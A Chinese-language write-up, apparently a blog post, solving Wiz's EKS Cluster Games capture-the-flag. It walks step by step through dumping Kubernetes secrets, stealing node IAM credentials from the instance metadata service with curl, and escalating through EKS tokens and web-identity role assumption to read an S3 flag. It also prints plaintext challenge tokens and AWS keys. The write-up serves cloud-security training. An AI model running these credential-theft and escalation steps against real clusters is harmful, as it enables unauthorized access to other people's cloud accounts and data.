Wiz-eksclustergames
国外云安全厂商Wiz举办了“EKS Cluster Games”——一项云安全夺旗 (CTF) 活动。该挑战由五种不同的场景组成,每种场景都侧重于可能的 Amazon EKS 问题。参与者将扮演攻击者,了解这些错误配置和安全问题,然后在受控环境中利用它们。
1. 第一部分
Secret Seeker 寻找秘密
Jumpstart your quest by listing all the secrets in the cluster. Can you spot the flag among them?
1.1 使用kubectl命令获取当前命名空间下的secret(由于我们只有这些权限)
查看我们的权限
1 | kubectl auth can-i --list |
查看secrets
1 | kubectl get secrets -o yaml |
2. 第二部分
根据真实事件改编
Wiz在与阿里云和IBM Cloud的合作中成功地使用了该技术来获取内部容器映像并证明对跨租户数据的未经授权的访问。
Registry Hunt 仓库狩猎
A thing we learned during our research: always check the container registries.
For your convenience, the crane utility is already pre-installed on the machine.
根据上述描述我们知道目标是registry
2.1 查看pod相关信息
1 | kubectl get pods |
1 | kubectl get pods -o yaml |
1 | root@wiz-eks-challenge:~# kubectl get pods -o yaml |
2.2 分析有价值的信息
1 | imagePullSecrets: |
根据从私有仓库拉取镜像可以知道这个字段配置了该pod将使用一个名为registry-pull-secrets-780bab1d的secret从私有镜像仓库拉取镜像。
1 | containerStatuses: |
这一部分告诉了我们容器和镜像的名称和具体ID
2.2 尝试获取secrets信息
之前在看aqua博客的时候翻到了一个类似的资讯,请见参考文献
1 | kubectl get secrets registry-pull-secrets-780bab1d -o yaml |
1 | apiVersion: v1 |
根据之前的学习我知道.dockerconfigjson会存储有私有仓库的auth信息,将其进行base64解密即可。
1 | {"auths": {"index.docker.io/v1/": {"auth": "eksclustergames:dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo"}}} |
2.3 登陆仓库并pull镜像
docker的方式
1 | docker login -u eksclustergames -p dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo |
在工作目录下找到了flag.txt
crane的方式
先将镜像以tar包方式导出
1 | crane export 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01 test.tar |
再解包
1 | tar -xvf test.tar |
就可以看到flag.txt了
3. 第三部分
在此挑战中,您从实例元数据服务 (IMDS) 检索了凭据。展望未来,这些凭据将在 Pod 中随时可用,以便您轻松使用。
Image Inquisition 镜像渗透
A pod’s image holds more than just code. Dive deep into its ECR repository, inspect the image layers, and uncover the hidden secret.
Remember: You are running inside a compromised EKS pod.
For your convenience, the crane utility is already pre-installed on the machine.
这里参考了腾讯云的一篇文章,根据文章提及的手法进行渗透,请见参考文献部分
3.1 信息收集
查看所有类别的元数据
1 | curl http://169.254.169.254/latest/meta-data/ |
查看所有iam角色
1 | curl http://169.254.169.254/latest/meta-data/iam/security-credentials |
查看角色的临时凭据
1 | curl http://169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole |
1 | {"AccessKeyId":"ASIA2AVYNEVMXAE7X7P7","Expiration":"2023-12-28 09:34:59+00:00","SecretAccessKey":"3Z7ATVQPlzcBh9hQ0FiYOtbIT9g0jq/tv7yoSVl4","SessionToken":"FwoGZXIvYXdzEEIaDGhraua/WnoiQClw/iK3AVpdk0hCdgAvcjERWcmwa+jJMsRW+Z/10iYlnh3PefD1gHZdvn/mDSKN2GdegizrmqYQ8pO7QxdhErdearkp7OnZdYZe0X1eOTj0BO0qHkXPow+VXXtOrmz22L+E+iN/rNaGd1UKt8FUhfrx/sBA0o81h5jtQwDNJo8y/ZdJIa+iYteGISMrK9zaXUIXhrIcXBBEvDz7F0wBgnB8fGfn78PgKqikUe+NYPmNGIKT2cRALbxbuj/YkCiz5rSsBjItmbQeo/a24SgZYnNOzLoT424BJu9wE0QQQhXntjpyR6Nl8X4AKeG7lVugrQ0m"} |
将key信息导入环境变量便于使用
1 | export AWS_ACCESS_KEY_ID=ASIA2AVYNEVMXAE7X7P7 |
3.2 执行命令查看角色信息
查看账户信息
1 | aws sts get-caller-identity |
1 | { |
- arn: 表示Amazon资源名称的前缀。
- aws: 表示ARN的命名空间,指示这是AWS资源。
- sts: 指示AWS Security Token Service (STS)。
- 688655246681: AWS账户号码,唯一标识AWS账户。
- assumed-role: 角色扮演(Assume Role)操作的标识符。
- eks-challenge-cluster-nodegroup-NodeInstanceRole: 扮演的IAM角色的名称。在这个例子中,它是
eks-challenge-cluster-nodegroup-NodeInstanceRole
。 - i-0cb922c6673973282: 与角色相关联的实例的ID。在这个例子中,它是
i-0cb922c6673973282
。
查看角色权限
使用github脚本查看,请见参考文献
1 | 2023-12-28 16:27:00,284 - 37842 - [INFO] -- Account ARN : arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282 |
查看服务器地区和仓库名
1 | kubectl get pods -o yaml|grep image |
1 | - image: 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01 |
看到地区为us-west-1,仓库名为central_repo-aaf4a7c
查看镜像信息
1 | aws ecr describe-repositories --repository-names central_repo-aaf4a7c --region us-west-1 |
1 | { |
3.3 crane登陆并对镜像进行解析
获取登陆token,通过docker使用token进行登陆
1 | aws ecr get-login-password|crane auth login 688655246681.dkr.ecr.us-west-1.amazonaws.com -u AWS --password-stdin |
通过crane进行远程分析
1 | crane config 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01 |
在记录中获取到flag
1 | {"architecture":"amd64","config":{"Env":["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"],"Cmd":["/bin/sleep","3133337"],"ArgsEscaped":true,"OnBuild":null},"created":"2023-11-01T13:32:07.782534085Z","history":[{"created":"2023-07-18T23:19:33.538571854Z","created_by":"/bin/sh -c #(nop) ADD file:7e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1 in / "},{"created":"2023-07-18T23:19:33.655005962Z","created_by":"/bin/sh -c #(nop) CMD [\"sh\"]","empty_layer":true},{"created":"2023-11-01T13:32:07.782534085Z","created_by":"RUN sh -c #ARTIFACTORY_USERNAME=challenge@eksclustergames.com ARTIFACTORY_TOKEN=wiz_eks_challenge{the_history_of_container_images_could_reveal_the_secrets_to_the_future} ARTIFACTORY_REPO=base_repo /bin/sh -c pip install setuptools --index-url intrepo.eksclustergames.com # buildkit # buildkit","comment":"buildkit.dockerfile.v0"},{"created":"2023-11-01T13:32:07.782534085Z","created_by":"CMD [\"/bin/sleep\" \"3133337\"]","comment":"buildkit.dockerfile.v0","empty_layer":true}],"os":"linux","rootfs":{"type":"layers","diff_ids":["sha256:3d24ee258efc3bfe4066a1a9fb83febf6dc0b1548dfe896161533668281c9f4f","sha256:9057b2e37673dc3d5c78e0c3c5c39d5d0a4cf5b47663a4f50f5c6d56d8fd6ad5"]}} |
4. 第四部分
在此任务中,您已获取节点的服务帐户凭据。为了便于将来参考,您可以在 pod 中方便地访问这些凭据。
有趣的事实:此挑战中突出显示的错误配置很常见,并且相同的技术可以应用于任何不强制实施 IMDSv2 跃点限制的 EKS 集群。
Pod Break
You’re inside a vulnerable pod on an EKS cluster. Your pod’s service-account has no permissions. Can you navigate your way to access the EKS Node’s privileged service-account?
我们现在的node没有任何权限,我想要的是能够访问secrets和serviceaccount的权限,该如何进行提权呢。aws允许IAM用户创建临时访问凭据对集群进行访问,我们可以利用这一点来提升权限。
4.1 查看我们的权限
1 | kubectl auth can-i --list |
什么权限都没有
4.2 更新token
首先要知道我们在集群中是什么角色
1 | aws sts get-caller-identity |
1 | { |
我们主要想知道的是集群名称:eks-challenge-cluster
接下来查看token
1 | aws eks get-token --cluster-name eks-challenge-cluster --region us-west-1 |
1 | { |
使用token
1 | TOKEN1=$(aws eks get-token --cluster-name eks-challenge-cluster --region us-west-1 | jq -r .status.token) |
看一下我们现在的权限
1 | kubectl auth can-i --list --token=$TOKEN1 |
发现已经可以查看serviceaccount和secrets了从而获取flag
1 | kubectl get secrets --token=$TOKEN1 -o yaml |
1 | apiVersion: v1 |
5. 第五部分
Container Secrets Infrastructure
You’ve successfully transitioned from a limited Service Account to a Node Service Account! Great job. Your next challenge is to move from the EKS to the AWS account. Can you acquire the AWS role of the s3access-sa service account, and get the flag?
5.1 IAM策略
允许的动作:列出s3 bucket中的资源、获取特定s3 bucket中的资源
允许的资源:arn:aws:s3:::challenge-flag-bucket-3ff1ae2、arn:aws:s3:::challenge-flag-bucket-3ff1ae2/flag
1 | { |
5.2 Trust策略
允许使用web身份验证:允许了k8s中使用IAM角色进行web身份验证
指定了生效条件:
OIDC提供程序中的JWT的audience字段必须为sts.amazonaws.com
1 | { |
5.3 Permission策略
secrets:允许列出和获取
serviceaccounts:允许列出和获取
pods:允许列出和获取
serviceaccounts/token:允许创建
1 | { |
5.4 查看我们的权限
有一个值得注意的点:我们只能为debug-sa创建token,这里也是一个突破口
1 | kubectl auth can-i --list |
5.5 查看集群中可用的信息
查看pod
查看serviceaccount
1 | apiVersion: v1 |
查看secrets
从上述服务帐户得出的结果,
- 附加到 SA“debug-sa”的 IAM 角色是challengeTestRole-fc9d18e
- 附加到 SA “s3access-sa”的IAM角色是challengeEksS3Role
只允许为“debug-sa”创建token(通过运行“kubectl auth can-i — list”来识别),并且需要承担challengeEksS3Role来获取我们的flag,我们可以通过web身份验证的方式来创建。
5.6 为debug-sa创建token并获取权限
创建token(注意这里需要指定audience之前有提到,这是策略生效的前提)
1 | debugsatoken=$(kubectl create token debug-sa --audience=sts.amazonaws.com) |
设置 AWS CLI web身份验证(注意这里的IAM角色需要指定为challengeEksS3Role)
1 | aws sts assume-role-with-web-identity --web-identity-token $debugsatoken --role-arn arn:aws:iam::688655246681:role/challengeEksS3Role --role-session-name hacked |
设置环境变量(根据上一条指令返回的结果)
1 | export AWS_ACCESS_KEY_ID=ASIA2AVYNEVMXISURJO2 |
5.7 获取存储bucket中的flag
查看我的角色
1 | aws sts get-caller-identity |
1 | { |
下载flag
1 | aws s3 cp s3://challenge-flag-bucket-3ff1ae2/flag . |
6. 参考文献
Author: Sally